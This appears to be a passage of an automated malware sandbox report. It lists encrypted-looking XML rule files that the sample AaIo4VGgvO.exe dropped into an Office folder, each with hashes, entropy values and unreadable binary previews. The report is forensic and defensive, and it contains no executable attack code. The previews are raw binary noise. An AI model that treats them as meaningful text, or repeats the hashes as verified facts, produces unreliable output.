Preview:	<?xmlp#.IF...]5k.zD6.4/.h....... .... .f<;..B.e....K$..=AJ..D....'..h.t%..l.=%....d..`.....R.>(f"...wAd..C..\&w.o.y2f....t.c..m......6 ..&..............(.N&.#hz..:l...4.#.......Xk....6n....\y.k..=.\...`.0<.P....VO.}..C._......f1.Y.}n.d.......$..-X.m..L.........}.........w.U...b.?..YH.Z...6.2[.y.%Rz.P.....P...A.;...q[].3..N.JK.@.on.q#.?y%W8...B.Y..P@..C...^.8...k<.t.9..L.s..Hx..~..7ib ......2....`.(jN...!..%..k.E-......#.5.Q.a.@....vQ.N.....U..]..-./...A.......w+..~..i.g.FL`.}WW.].t.e...V..o. [.z.bD...."_4.._...\.[...'.D.......7.Q...:.o...<..ZR..#.T;..UY.@Y.........G..=.d8...eKq]u.....#/..2....q...Is._....r...A.A....o...~!!....bV.:.U.G9>.5..7Hl!(.,.c...gQ@J,.:.D...'........e.Ig.4......)m%.....x6.......a.L...+U.H...'....T./.....$._.p.)(.F.....1..G.n...P.......L..&..bH2....s.>w?.Y.g4...%.-z......_$.TvH....7T.'../.e(q:O.:.0.K..g...A.Y3s...x#...V...l.=.H'...b..@.......D.EZ3..v.\|$G..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8551306077943615
Encrypted:	false
SSDEEP:	24:3Km+nseRcYi1SuQz9h9W2q3DPJWJwaVPqViRw0bpTzSnNXq3XvSGtiLkFkeZbD:p+sc+1HQzL9Wp3jJmjZBnt/6NW/tfFNR
MD5:	DA340E0C52C18C98C28F981032E72F80
SHA1:	5BD91615BA3C6B760A152E052533915B9C626968
SHA-256:	87213F7540C92013B8517B8009E3AD65206E9CAA1DFB6E29F456E1E44461FBE2
SHA-512:	66181193A49A08A09E42FF47C6E7FD3C081FF11314C8A95FC7E6B746E3B4258231A1A956BDA19399D33BC1EE3118D05BA39246ED175C1F7FF99C399C1E88ADC1
Malicious:	false
Preview:	<?xml...>;..'.....<.Dm...qt.6i./.v....Z$..C.h.s..0U[.g..F{DDgnf8U.o."gM..SwC..Z.@.$..EX...... .N.N.).l....W..rz........Q.lJ....5..%.....#.c.(e..Bh.gi..".........Y...;@....!l..#.S....\..7.;...2..............A..\.O.G..\|/..&.G......U..N.....Y>-mDB.>.)........#F..6.!..yWnK...;..I.&....}\..0_.?.Vk.~>C...m."....s....!.<..uI.Hi+.?.r<......-. .M.......$.->.Q]~>.0......t._0...tA.)..UB:.tEg.1.$N...6(.H.......F....741.....f.9'......y....JdOR.>YA.....p.~.go_L...#.(AU.........{.....?.......v.E...<2+..\|#.W..C,...x..m.1.tK......h.3...c_.!+X..:"~.. ...>.i.e...!.uc...".'&.0".,9.....F....*Vl..uP.k.&..=....1..L..)\O6/..I.{ N.s...4...Y...da.]....Z2......jO.B.I^f..<..2~.Ol......$.. .="..}..../....A.P....j:..#.\D..!..A_.[..R.{.Qj.E".L:..Q..C...T.N.eE.E..:.u..S......K&4...`...X.....6..3l.....'.j.....I....X......_.9.....63.?.;.r.^...Vg.08,.y......9.k.X....+k0.s.ZS.D..!.v=:..!....<.6....a.R.1.NZ..L...0k!....q.."./....e....'2..P..`n..`...2.h.^5R"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.797799157866611
Encrypted:	false
SSDEEP:	24:7755SOzISt3GEgFWMxIE5nuhOJNxKavjnA3oHbD:n5MOzIGKht5jnwa7n17D
MD5:	09E8654C48D25BB1707100114E0B7F04
SHA1:	AAFD5C5F10A5AE79ED84FD6F3BF28B359E685534
SHA-256:	FD92C1F5130B66A2FF49BE4A3F241D6BDCF40ACC1AF30DEB18CF82B5F2015E47
SHA-512:	AFDC4CC0522AEDC6CA86AF1FEFE0BBA33EE7100B20796761953F038BE7A0EE5B4B597FF62A6005A406DF83AD88021F438C62CD3A4B0344FE8DA428A4C52A1CE0
Malicious:	false
Preview:	<?xml.3g.L.l...J.....j.=.k..w._...Ph.9R..e.p8n..~.Lb.V`.'......"X...6<.-.....T.:...?.....1.`...U.~.9.V..f..+.@X.<hp.B..1hk._.`.z..}\|....t.G.Y.b..y.I.q.iJ=.m+..u~.G.ga.2.eRW>...EYg....7;..c......Y....+6e.v.F#uG.4'G.B....?.N.F.4......V.S.Q&.N0...n5(.7'.L..q..+...c.).%..=.;.w.....n"D%&.....P.X..e.qs.O..im...[+,_,..9........J?$.v...}.\|.y..nFl.p[.+../..u.....U..K7.....^...v.j4@l.....{Ew..V.b..s.Xc..~.+.Q..7_.T.].^..t..5 ......`..M.Of.C@../.K......K...TP,(.}.R...:{...4.....[.x\|+4..v.i.^1........f.~.rP.1...b.*..3W.f].....{....fR+dU.Y...?.5k^(!_}.....E.a.r..FQUm=...b..:...9..`<.HW.b.t..&.......M.......o........k.;.....b.b..Jh.e..z...K;.5T..._.QZ.=....O..Lr...aC..8......7.\<.. [.-."g.J=...(..q...h.&...D.-.W..)..i.G.'.......B.\|Z.......&.,t.KN.(L...C.......d.......~\..K54o...F..A.E!..i....E.....8....~..Yl3.vYSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7557979694772134
Encrypted:	false
SSDEEP:	24:G4RpltrB8kz5Q9lYXibdmW2W7LgD5tKXOmQbRUtbD:TnHS62M7W7JXv4KND
MD5:	DAECA6CEF3541546E838CE7CE6A7CD3B
SHA1:	E86E63743EF81353818A52363CB6BE3D6344BABE
SHA-256:	943C3C9D0FB222D8C41CD4F1C37B3E8A52C0017439BD4EE25213C9FF0626BCDB
SHA-512:	F25C544A0750A265F81BB4E13200B1BC48440C18AFE0AE14098B738B007B5B9176B605898E53DFF64B3EFC0156A1D104650FFFF28E4F51B147DFC144E4026B8B
Malicious:	false
Preview:	<?xml.i...U..O<:.=.Kx..j..'. ....j....n;.0AQ...G..M.M...!...^..Dr.Q...xwQ#..z.........s...1..5G...K."..L.3..gg.......F...^..S.6.\|1..[S.o./../....+.4.~<.3.c...Hf...p.c...qw.Z.......2F.....-"h....#....>Z...a.#....]...oP...,7.j....W`b.bC[...../.2..l`..>...w........d......G..q..(5.....F...oh.`.X.J.E7T.M.vp...p.6.=.r...>...a9dh.$....B....f.,..9d1^e./........F.K...7.....J.h.&(../Ge{...R ...... .J7...Ja.LT...dM.~..1b..ME...!.r8K.(..@4.....#r...w{KuP...0L........"......@...4.....@...1..A...D.Q..7.K3..=v...s...w...Q. U+.Y..u5.b_V...F.s...L.D_o .g9u..l.V...P5......E@.5..-..j....j..1.#RnM.;LX..xs..o..w.I..B.e.A.C .`z.~Nh.g...otN&.. .......AV.'..F."(.h...l.A..6E.V....6r1c.....a.j...BA.'...V2u+.......td..qsn~B.....#,<@Z.A.Q...........Qu5.2..:2'.SJ.........<..z..g..Lj.Uz...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.779540572216344
Encrypted:	false
SSDEEP:	24:4lyVyWGXMcjgsfeIyzOUwJXMIBLZ16p7YfdqLHzhWJbD:qaygsfZr8uLZ169Y4LHzhWpD
MD5:	3189B4FE7EBE4B4ED60C9C90554D4345
SHA1:	87036DAD8CC1F581EF15606B93F0B652F9B8D09F
SHA-256:	C9CD8E57BBD52DA8A9761078A9DA8A2E37E4A77E1A67DB0674819C2E648B7348
SHA-512:	3B828B2825A56E2628C0D0BD1F3DD7AA814BD71E7B240AE36B4EB5FCBA539606F8D3E1CD297C7CF399E9958C3C655A9D98D6E0BF8DB5484D8629F3CBED6DF73E
Malicious:	false
Preview:	<?xml.DhX.a.+.A.H.;li...=..Y...M..p......B+.Q@,Y.&R..;... ...9..P...6...-D&5F..&....GN..U^.)A.E...."....... .'...Cz.h.u....mJ.?...>.....(..f.,... .[e..e%A.-.).....+..+.(HU\|-....l.\y+.].xJ.@c...m9.Y..'.7`.v..$.A.D....7.S&..c...m7.J.P....\|_^.wl.._...x....C..L......./.....G.v.M.v.-h...>..4.!.T.M....].]...v..R.;1..z{oc.Y..pu+..x..Xx....^...[.Ut....9....r.i..N.c.i)1..p .d..1.]m.R........H.'.H.i@....[.,<......d.LE..T.(R.0 .q+.{].x._...T.,..."...5..N.T'Y$.\...Z..n.t.....[{......4.v.i...xl..G.7P..,..?e.....>p.w.i..N(.Lf....-....q.A..v..........LHi..-..~........zS>.....Jl..&.......$.:....EJ..rf..Z........{.'.N..U....K.[F.L....R.s..Z..s.Q..Uc..z}P..}..lq.ep\..:...Y.Kg.I.Xv{.eH..P..h...?U.&`Z....1.m<..]\.93..Q(.]....3.JYV.%.@.*.U. .c...C......t..4.k.m...7.1.-....ED..}..-.5\|.....\|Q..(..;P0.&......c.......r'.2.jU......C."...............<.Z.\i.....U.J#..B{.i.......].+...,:.Z9&.#.K".l.qr...n.~.7p...;..6C...k...<...W.^w..ZRS..q.e.SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.734506135332806
Encrypted:	false
SSDEEP:	12:5qgz68BJNQjXA1oYQwYJt0nEknd12EyidEW+cTsRDfM5I+1+cii9a:wgzRJIXDYV8t0EkndXrdEW+cOBbD
MD5:	3C7A377231F6C984D038162FD1F8B24B
SHA1:	E02C27BB3C9F08F35E9B3A4A4B77D296BCF136E8
SHA-256:	2F8BA7561E577EF4F05D5C250100B5B549925F14419E98C2D5AFF7B3CC85B0D4
SHA-512:	B0D4CE852B4C3920503B7474AFC355AAC36B9BAB92896F0A7356853FA857D2A8BD8B0F664048CFE8932D21633547E7C16A56226948B91E4A9D96C8B06B26E78D
Malicious:	false
Preview:	<?xmlR.U.\.V.\.5..O.}..Y...5y..\ED.P..X......!......... ..E..Azz........Hq...s.E....^Y...n\A.~..j.........c1P5...'.......v..d@.GL..#..0.f:..z.D..C@.?. ......}....o..&....;..27I..W..p..T5.......;..\|.}$.....s..H.sa...2[Z:..=l6..{..6.E..\t.....+.Ar:l.r........0g...p...}...I..d+:%8.+..F...!.u.\|m.\|f[......kHR.}'..b..GJ]Jb.{q.".+.j-.L..x..s./v..C9.'.../....}.54..1.v^.G.di...8......a.g...+.r../.K..A.>y..`...J..9Z'.Eh..4.-.=1..9...^......?..[...r/#t.j......(...4.}.....@v.a....!...8G.`sw..h....-A.C.H".:Rv... ..;.\...C..V..:..\|.g.t. ...1..c..u"..>Q.j.7..R..m...........\|[..h......Fp!).3x..#.1...p.V^..&...g.o.h.9........O.w..~hZ.}..J=...)\|.........5..z....iz..@..J.....h.8..../-.....~.z.].Y..z]Y&9.....+...mF..<u..u.l~...t.I....@.......?. ..j..m.s.A.}R..J$...;9~.W6..LSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.876068362048181
Encrypted:	false
SSDEEP:	24:qjxnaexdE+mgxVv2fkCXL4lCl60oO1oSiZ2188djRI3TSaIE022wEtlSFMmXbD:qjxaenLE4S1oSiZ2188d6uNz8FMeD
MD5:	C9AF23A6B2A494AE80EFB603C90DBEB2
SHA1:	885AED48627D5546BAA9D59287986AE4A933174B
SHA-256:	268D0B20E6A618DBF5E12539E35C5FCC3BFE28B0FFDFD8D94B4D9130A778CF90
SHA-512:	4167F41A35E48EEB9FACC5B58BCE79D90C48A2E80B70F0049528B947073FA5F8A8D488D7A7D62EEA3518A648F28C7A9A2BAD5E192C991AB24BD1923D29FF0771
Malicious:	false
Preview:	.<?7h.#.Nl....Z..3...Cg...bL..#....f@.....#....f...*q.]I.;.R.V.....s..7..uOj.x..q..9\|.u.R.~.]2v...j\|._...\|..."&.H..~.....M.Kr..0.. ..H.4.C..T/..[..c{".....=...AzH.;vY.?..Y#Z..V....z...21..sm.0.6......or.....%..d.X...Q..t..e)f....S&.j...)M..&%.#..fN..A..?.n...T.Y?.u6CPj.M......Ya..w..u.&............. .uY.P.RL..n..^1:.g.1n.c.......9.....4m./.....}Vd.W...;..7.....!.z.P.x...Z.g..1.).I.....mP(T.v......#T.e.H.\|.).....Xw.1....OJ.T..D=s..-`.....D.f..RIx.$..kH {!."......,]I....\|..X.Y@&.9Dx........)..0odixl>1Go....;...cv..0.......3H.msAd.B7...P....y.Pn..[......7}....ed...PcX..3.P.].C....m<...$..._.Gdt.......V4.q.#,i4[....N..\..A:k\|Uz..8.....\%......-#X...VQ.........L4....u..\|A.z....\0....q..e.!?t2.$o.....d..r..s....TM1....0...q.....L.#...........-...nq0}?.q..u...i..........).....R.......&+.n......H\s...Y..Z.\|.m.....;.5.%.........af.=...%..EQC./."..J.{!.....V.....6.pW.6..?.)[.=..f#!..W..I...].'.W....b...z.3.R...v..8.[.W.....pa2....6\|H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.89277315090664
Encrypted:	false
SSDEEP:	48:K/EpW/cANAJCwQAbbhqKPnffeeiFGoZNmD:K/EpS+37PPfGhhZc
MD5:	8A8393E43D18AD70FD2A02202A9859AE
SHA1:	66D522FC6EB939D4EE4280A61D0F5004A720ABE4
SHA-256:	C2D27BC3C2DC91AEA76FE19071BFC47890FB091C739C6D79B54928AF04C007C8
SHA-512:	52661D8B5EB4941E7B8F4D7066E381F2484AAEFFE222997E72D203F7A9DB481D3A38C6A76612C2AD60C5D2DE69BC977AE767E3E126131E5F2F1A4996EAF69A4C
Malicious:	false
Preview:	.<?w..K[L..$?+....d............>(....7.D2E.Mm._b..dgj.Ui.X..6.J..>..6..R...`ZO....e!...UR.\..D...f...h.ZX...ii.."..W..iKz..Tp..H..T;-..Oo.e.%.MuG.}Q....'.......F.]..9eN@.../i.I...A.#}...q..Ou.....5............)......Y..G..T..F7.3.......L....[..7+....._....>...3..,.E1.CqF..1HR.{'a.FJ..L>.....S...%m..;...."....(....).:v]......o{O..J.4.{.n....a...&..P..,{N..7t0..z$m.Wu...Y...\..R.....dk.....a.....s.h.=..W3.{\4F..."1Ln..lA...........e.?. ....9{.^;.<V.KL.Y8.u\|.....2...c.....Ef.F9L.&(j..3a...i...vQ.......&o.1...j.....tq.....3.4..lV.DW.x.8.F%.E../no%#....u.n(.L.6..V......PG....s.i....z........:...w.............G.Q].= ...........4H7...\|.1....C....x?.9.....T}"..^\|\|RFk.......?G........5!....;.....kh.SXw...pv..CN...P..p.p....v.../z"vJS`..A..j.q....m.i.x...%..B..\|....`.8..LP ..S.>....U.-..Nn...Q7n..yV....r....A0../...G.......!.9..&Lw.U.<....j...H......}.r.......^...p..L.B2}..Q....r.E..5.K.F.@.vu.h.C......p.g~W.z.Q..J..../.R.5 !.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.894620113549465
Encrypted:	false
SSDEEP:	48:dor6/nyaf5I5Sl+aYMsFeRAZrKtyoQBPLB5ZOsSaXtq2D:Aaf5I5StYVFt315ZOslXtqu
MD5:	FD27CECF2B3C72385C8D2776850502BC
SHA1:	F4E12CFD93A7CED7E5152A0D35DB247CF99A2B4A
SHA-256:	2082F81B8B12DFC594D1B9E343BD4BD152FE4027B8E341C6FB0C95F0472BED6C
SHA-512:	AC40CA907BCE2D33D94566EA2DD5F5F963676CB5450D48626E410502520E5275D7FD18A325FDF61DC988FD06F753A90EC4BAF3D244D9A51B09B549AD975D1972
Malicious:	false
Preview:	.<?.... T..\|....\.K.;P.$..n..N......"Y...8...e..:r.....}....>........3.("....qX.T.Wp...p...\|.....f?I....G.brI.L.{...^....SX...w.d.<.6<..kO...t..b:e.\|.J.3:..r......3.).M.Y.....+hZr.>=\...s.S~.(7$...V..t.O.6.P.4. ....G}..' ...".8...D..r..6............c/.q.Z....}_;..t...$.)...~,.a..k1.t.I...U.{]..j.~[0v...~D...(..w..q.3.zP..oR.q..;..S...,...N..W...:W.9..%.....O.........>.!.$5j....mE....E..2...C...,...m2....p...&wz.<....."...\|..1..Olh;...<..i2.U.....C..A..@..\|...PG\.......x....e.]..[......_.K.o.+Z#q.>...#.S.s..0.\|.j<..l....K..~.B(....~W.BM.j..M....=ZAh.X..l.I@..t\...X..w...Z.e..c.].Og..-N...2.4V..`....6..U..d.f.....K.............{.......{....c..#......n.....?u..pA.!...M_[qQ.....u.#.....:9.@..".....Ft.x.....R.!1=.)..-..J~}\e...g7r...V...{%x...'.^.E...wS.3..nf.K..a........;[=.I.tv.u..&.2...%..w..4.....z.>6<l......#h..$*...=.H.=..!;...E....w1..Q.....).}..b/...$C.cN...%.Wr.q,<.....Z:@.DF.P.m..hd..\..1..........J..!.....760.%W.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.888011669693895
Encrypted:	false
SSDEEP:	48:Gx1FIeJI2Etiot6N/qI9mBb4Yil/jTAwoZ+VjLHQMD:CFIqouyl4/ZUkwo
MD5:	D5C5C84D7147B560E8FA83AFB1372F52
SHA1:	C1F5C7B50CB320BE287E9B5F374CA579D3AADE2C
SHA-256:	572F3946742F456D57FDDE3E73948BC4DE7C954714186803187C9971E0CB73ED
SHA-512:	1D5329DDFF6FC93BDEF0187EBBE49B163F20D409C438AF7162DFD1DEFC8B6767CC6998B506424C61F9F0ED5A9473653EA3685DEA1FA30F9FB0051BE94265E110
Malicious:	false
Preview:	.<?....(.y!.p..N.R.q..~...M..=..a.]+v..:..3...B;#.&,..H.........l...-....q...8L.^.<...SJ.~.QP.S..uC........}.j..}".8b.8......L.!..I>...a...i{St...& P.y..6.^.....L..d..J...8.M.d>.F}...=9.u....I...^.~...ga...o.>}....:..........g.w..QX.4pj./....b[.R....f..?..>..a.Av..\(.....O....O.....>..3...dt..v....p..GS)U4..T.i.....r...x..^........W.!.}0#Y...#.P..I.L.B..<..@D.......M.....=....-m.Xc....g.._]+_S.=...u.%.5%[....}.~..P]xgC......IV4(+..." .....V92<.\|......>.....?....>....U;.4X..Z..}....O.'.8...........\|K'..l.O.v.R.?5.K.. J..)...A..("Q..d..<y..m9.M...,n3s3.O.i...S.n..........t.Up.Tg.-....s..Lo..Y/S#.C..v..w....[^W......S.p"..d...S..4. ...X..V...I..;..Z......u.i0..1...B.~.iA..5.....KdGgM]G.......TO..k.".U.\\|....Tw.R]%.R^.\|.L..'<..?.k. .(.D;..;.p.?..:_......^.......w6e..-g.ZO.X..%..m.e...OP<.%......!.dB.K.D..+L.Y...n..........h.J0...dj...?C....q....x..m....H.@B...i..u...=.^.Q.!.u....%.*.v... 1V.TF!.O.:3c.-..M.".0.....z.a`P0.Q....[.q.Hr...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.913787992807728
Encrypted:	false
SSDEEP:	48:ZgRKJ5If2gkU/U9vfbbNfSEoq/ZbQgjlTD:X5IOvU/8bkfEbQgjl/
MD5:	52B2C6D434184D13E05EE554128874C4
SHA1:	6D2A87354E75EF1C203AC73E18535B7F7703F606
SHA-256:	D8C70F1D7D57D300944578F913F76EC0F4C09978488431D9A5D58EBA5291B558
SHA-512:	C6BB0F537ED185DC750013E37F3F87D6F9870916C2DF7D9ACB3FE3EBF8FE5A25EC2F0CD9B7153E85147914DE15AA3B8CDACDCBCCEE837B2B0CD0B243FE87A30F
Malicious:	false
Preview:	.<?.!..U..#z...'...w.`...q.P...R..3WP..DO...R.B...iv....`.X.....G..<..4./..K..D~oQT&pV.7u.o....eh..Vt..wy.B..E:.Z.s..7:.i'..}...o.kpCjg.@.-.1.g....VN..m.!.Ck..jO.....c.......~...{<..R..^......s.....~_.R.S......^..:.-.CN....,...z.....(..{.]S.z..q.....jM.....=....K.T7l...%.+a../....(PI?....L.....sLI........R... .b.....^.M.\|,\|.I..+.[...lr...n......z;.Gf`.N..r.D..NZPo....-q..H.I..%{.g...\...I.X.I...UKC.T.......$...$.A.$C.%u.7bo..TU^...J.....9.o.C...I...T<....G.b.....i.t.Eh]+\..G.KI(..5..pC- ...JJ.]..h.~..`....6)...F...7........N..,.(..A&....;.........v>..*..._.p<.#.%.V..E.KirX.SS......B...v.!O.A..k..m...q.#0xyq;.w.....R!F..0"...W^{G..$..I....l.M......-...Pg].].9..o..b...\|........Q.i:........K...8.......79..U0{......E,5..2..G^D.qd.f.5...BE.....?]....Q...&.L@.....L..........D...M.i..j.....^.e........3.P.}.~..&<R9@2s..!z......l..m..../.`r...s..l...nj,....M..'.\|.F.-.E}...r_..-..S....`...S..<B>R.A...^...va"..f.t..........>.....a.xV..P.[.S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.878237812726719
Encrypted:	false
SSDEEP:	24:MxN8uIGVht3tQhL8PkJQorvvYj6EtjvXW7e3tpSltZALpVXDWNR28RxsgsS8VBB/:LuIG9tqkkJ/X0JX/sACNXxsgeB5D
MD5:	9D09CEA8BA4FD18332430FC09C0FFCC4
SHA1:	27BB6B25126F395BB810F46E36CA3BD66183775E
SHA-256:	741E5A9FB76D4E6A5E0D9C8AFA3A69A2324F058739666622E5E9D041716266E1
SHA-512:	45884B27BEF3AEACEA2D7CECE0D8A911DB85FEAAD23ADCA9A732B01F9FF8D7D3DE721373876D9218740619F234774BBF4C1E3123A2CA66C2EF1DA7ADF94D9FBE
Malicious:	false
Preview:	.<?M."..S.>z.......j..=O...E...V.x...+-.X......l=..P......t....sY6U........A..<.? .........==.j3..Ma..4[i2X!.q.).......X>..^9.{..E._S..bBr..q?..8...SM./....G......[Z.. .....i...........bs..k.F.,...:P^d..6..EGDd.tK$.jy....ti.>......%C.M)O..'.f.^....Xd....P..z.L/.....!.~.....y_...W...e.........%..f@........_E.X......\|9..g1s..\|JP.s..;&.,5.oa..'.xx.1.Rs+ .{.Q>..z...1T.......L..o....S.W?.2.8(&...;r....5"j&.....!.F..#k....H.$.!~..{....Y.......o......\|.<......r4..w...6~.."....~..P[j..6.7.LM....#`.........;'~.c..R....%.\.p8...4.<......KO.....K.K.e.>O......W.S..q.q........;..rvd.$.......pB...c.e.B.a^`.?..IEB.b...{C(......{.X.E....b.>.:....H...E7.2....p.y..8..1...{.2^-e.q4B....M...U.>..`.5....S.f..>..,.W..8A)....O#..[..N,g2..-N.P.lM...@.B... .)..K....z.-.9..^@....4....U\|..>...=0.&V...g.........$.u..Iw`(...t&......h.gq.u.Rs..<l"......1..)....`...a}S... j.Yj.......D.....{U.........r.R.J..{+....jr.~/5>.+....Cj.R.E..Y.../.%c.._....L.f...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878715571394771
Encrypted:	false
SSDEEP:	48:NTLmfmcUrhIATGWqhAp7E0y8T8i5JFXmD:NfEhUrhIAaAp48h5Jo
MD5:	6BF5950E4A34EEF1C0A370A9E973CB9E
SHA1:	836E6B44DB0EECEAEF05F055739BC78B73D53BD5
SHA-256:	BFCC60909DC18237457F82E635F1F7F45CE44CC4ECD3F6A24E51D14A11B2FDE6
SHA-512:	209FC5CD39EE8506F35B3FF2ED6F43D47EAC6ACDA6C72380E9A1BEB848A20D6F827CD0641D0D0929015FCC9BA720A56F722779524A7B40178BF33E0690DDD05F
Malicious:	false
Preview:	.<?.. .X.4f.\X.x.-Zm..H.t..f..7c...p.#..\|..j.NF..?r..8...`..z..?n.....N:6?.[S.9x.....z....r\|..._Fr.M.-J3em.....I...!.....I...7.Fg..!.T{,.Y/.6R.$..<N-....?..\|.W....]..7iG.b#..V.1.rh.`<..3A`.I.S.!'.W.Dz....../.._..)...Z.'.I..!..@.\d.\|.....L".iN]X+..D..cE...7.".X;.}tJm.~............7.1?T.`.....z..+tI........ZZ...M....!.q"=......`...L......1#q.... ...f.c....H2...r0....A...A..r.g...s......>I..Q......L.G.i.z...a.....0g.H..[d.$.]...].7...N=.,.=.h#...b....M...k.sHy."..U..n..Z.=)KCF../ .T.~eC.8.@.I.q...b...;...s{.S.+..+......G.L..#...z.^..b^.0.....f.}k.Z...."{.g..9.-........J@....,'.8..l.Y......O.s.hxn....<..._.........E...oT=._.a.8..0.. .h...'G h~E.......7.$.@...u.}....O4.S.?_.......;Z.LS.#..].D.1R<....2\.V1.3.?3......`c.Q...n..YoI.v....C.......UY~i..h....RU..1k..-.....XO.j.x...S...'...Z....n..h.9.......4m...e....mS.n.m..c..Rz...;\...2w.Y...m.K\|~C..v3..V9.......J.-........T.. j..e....Iw.. ..e_...1rR:.P..}.m.3.s.......{_..U....4At....6Q....z.i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.894008447197896
Encrypted:	false
SSDEEP:	48:KY77WMI29kaWq7dM+3eifK6rWB2YPDBdOYn1LjUkD:KY77WMPKqvTrWB2YPvOwJv
MD5:	4BD416AAA72F6DF8B30896F2090631FF
SHA1:	5EFEBEE1A23C152A03E1AE62D6D0287991F9A313
SHA-256:	1A236BA2BAD727F02E8E6F8E74498D84F9C7A74564F64BF6AEAFD171B415163A
SHA-512:	D82A4E876E1890810D3E40F25318747783715D2BBBEB553AB32F2F26BFAA231EA110EEC8F6281DAA1BA0B803AFECA2FF7746CF5921F57B68C4960DF2C3D6C361
Malicious:	false
Preview:	.<?.'..X.0l...t.=E.:f...>...}Rx.....p....s..X....3Vc.....3}..8/..+\x...e.x.]..-.!..E..\|@..a.8\T<.yz..p\|8...j..'pj...e.3.......o._4.N.#.d..n8NV.....0.M.I..,....#F.iw..mbi...a..O..,y%......6.=..pNM>r!i...GR.V...h...vZ...Z.Cx..2 .....a...j.i.z7a(.i....S4T...tB.0.CbX.Y.H...T-?8. 5..(]..^.p.Q...3,.._d.n..R}...dN#Y..M..^I).H.n.,.6@..>..4R~..U...\|y..GE./....."d....'1.Q.R?.T.g.(.`gO.+...{.....eP...f.w.]/..9/...v...d.<_C.Qh..0..z...7s..}"V..D@.m.J..Er...}.M.{...........x..O'..V.."=.L.^.(.%.c.B..\|..T.mZ....:.z';\|..x[.J.T.mA.f..3.R..\...}u(... ..)..W.9.......hR.<FG<.+m...N.......e.d..Hvj.J.zG\.0..^...T.......KU....9.>S.....7...H..9.....d[..>.i.4....,.y[U....2..(...'.Y$........b..9YtB.B.C.J.....q...qp....#`..W=...N90.(7.....S.,w!....;..5........;.]9}..Qk.K.=....R..t.... ..}st.#.6y,...9..4W..}O...!......S...H..p..f.B..5....R..{.a0h.....?.......>..gu@.v.t.q.K7.....f...zU.i....c...A..U;p..f..s.._-..W.....QKQ..c...)..........+...G.zu+..'.+.:.eoE".S.0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.88330946223086
Encrypted:	false
SSDEEP:	24:ODJtGeVnJpbwj0Rwzphf7MJwkxpReuV2/vICtx5zQYKTYm+j6EVx30sHGiwZjTT/:/eVJGLj2Xqn/pzKTYm+j6Ez04sSsD
MD5:	1F8B3BBA7394A9E15E2D90A57BF80B91
SHA1:	85325D580F784D0CA758BAEDF2764A236C4A000C
SHA-256:	97D8AB5EA54AAD8ED0DD35EB68A8C63AA5CE7FC6EE5481E21E99BE140D840733
